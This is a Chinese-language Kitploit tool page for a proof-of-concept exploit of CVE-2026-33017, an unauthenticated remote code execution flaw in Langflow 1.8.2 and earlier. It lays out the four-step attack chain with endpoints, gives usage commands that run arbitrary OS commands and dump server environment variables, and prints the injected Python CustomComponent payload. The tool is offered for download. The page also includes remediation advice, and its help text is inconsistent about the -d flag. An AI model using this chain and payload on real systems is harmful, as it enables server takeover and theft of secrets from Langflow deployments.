Skip to content
KitploitKITPLOIT
工具博客
提交
工具博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
CVE-2026-33017-langflow-rce — 针对 CVE-2026-33017 的概念验证,演示了在存在漏洞的 Langflow 版本中,通过恶意的 CustomComponent 代码注入实现未经身份验证的远程代码执行。 | Kitploit
工具/GitHubGitHub/arensballiu/cve-2026-33017-langflow-rce
漏洞分析漏洞利用Web应用程序漏洞利用渗透测试远程访问工具Payload 开发
GitHubarensballiu/cve-2026-33017-langflow-rce

CVE-2026-33017-langflow-rce

针对 CVE-2026-33017 的概念验证,演示了在存在漏洞的 Langflow 版本中,通过恶意的 CustomComponent 代码注入实现未经身份验证的远程代码执行。

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
查看仓库
14小时35分前尚未审核
分享

CVE-2026-33017 — Langflow 未认证远程代码执行 (RCE)

概述

CVE ID: CVE-2026-33017
受影响软件: Langflow 受影响版本: <= 1.8.2 修复版本: >= 1.9.0 严重程度: 严重
作者: arensballiu
日期: 2026

描述

Langflow 暴露了一个公开的 flow 构建端点 (/api/v1/build_public_tmp/{flowID}/flow),该端点接受 任意的 CustomComponent 代码块并在服务端执行它们,且无需认证。通过 将恶意 Python 载荷注入到 CustomComponent 节点的 code 字段中,未认证的 攻击者可以以 Langflow 服务器进程的权限运行任意操作系统命令。

攻击链首先滥用 /api/v1/auto_login 端点,当 Langflow 运行在其默认自动登录配置下时, 该端点无需凭据即可签发 bearer token。然后它使用 该 token 创建一个临时的公开 flow,并通过构建端点触发服务端代码执行。

包含一个 docker 文件,用于创建已安装并运行 langflow 的 docker 实例。

受影响的端点

端点方法需要认证用途
/api/v1/auto_loginGET否获取 bearer token(必须启用自动登录)
/api/v1/flows/POST是(Bearer)创建新 flow
/api/v1/build_public_tmp/{flowID}/flowPOST否(公开)触发构建 — 易受攻击的执行点
/api/v1/flows/{flowID}DELETE是(Bearer)清理创建的 flow

概念验证

文件: CVE-2026-33017_POC.py

要求

  • Python 3.x
  • requests 库
  • 对运行且启用了自动登录的 Langflow 实例的网络访问
root@kitploit:~
pip install requests

用法

root@kitploit:~
python3 CVE-2026-33017_POC.py -u <target_url> -c <command> [-d]

参数

标志长格式必需描述
-u--url是Langflow 实例的基础 URL
-c--command是在服务器上执行的操作系统命令
-d--delete否利用后删除创建的 flow

示例

验证代码执行:

root@kitploit:~
python3 CVE-2026-33017_POC.py -u http://langflow.example.com -c "id"

获取服务器环境变量:

root@kitploit:~
python3 CVE-2026-33017_POC.py -u http://langflow.example.com -c "env"

利用后保持 flow 存活(跳过清理):

root@kitploit:~
python3 CVE-2026-33017_POC.py -u http://langflow.example.com -c "whoami" -d

预期输出

root@kitploit:~
[+] Got token
[+] Created flow with id: <id>
[+] Exploit sent successfully!
[+] Flow deleted successfully!

载荷解析

该漏洞利用将以下 Python 代码片段注入到 CustomComponent 节点的 code 字段中:

root@kitploit:~
from langflow.custom import Component
from langflow.io import Output
_r = __import__('os').system(<command>)
class ExploitComponent(Component):
    display_name = "ExploitComponent"
    outputs = [Output(display_name="Result", name="output", method="run")]
    def run(self):
        return "ok"
  • __import__('os').system(...) - 动态导入 os 模块并在服务器上执行攻击者提供的 shell 命令。
  • 类定义的其余部分是有效的 CustomComponent,用于满足 Langflow 的组件加载器而不引发解析错误。
  • 该 flow 被创建为 PUBLIC,并且在其公开端点上调用构建端点,这意味着触发执行不需要会话 cookie 或认证 token。

根本原因

Langflow 的 CustomComponent 系统允许将任意 Python 代码作为 flow 定义的一部分提交。/api/v1/build_public_tmp/{flowID}/flow 端点会在服务端构建并部分求值这些 代码,包括模块级语句,且没有沙箱或限制对 __import__ 等 Python 内置函数的访问。

攻击链摘要

root@kitploit:~
1. GET /api/v1/auto_login          →  获取 Bearer token(无需凭据)
2. POST /api/v1/flows/             →  创建 PUBLIC flow(Bearer token)
3. POST /api/v1/build_public_tmp/  →  注入并执行恶意 CustomComponent(无需认证)
4. DELETE /api/v1/flows/{id}       →  清理(可选)

所有四个步骤均可由匿名攻击者针对默认 Langflow 部署执行。

修复措施

  • 升级 Langflow 至 1.9.0 或更高版本。
  • 在任何面向互联网的部署中禁用自动登录(LANGFLOW_AUTO_LOGIN=false)。

免责声明

本概念验证仅供教育和授权的安全研究目的提供。 未经明确书面许可,对系统使用此脚本是非法的且不道德的。 作者和贡献者对滥用不承担任何责任。

下载工具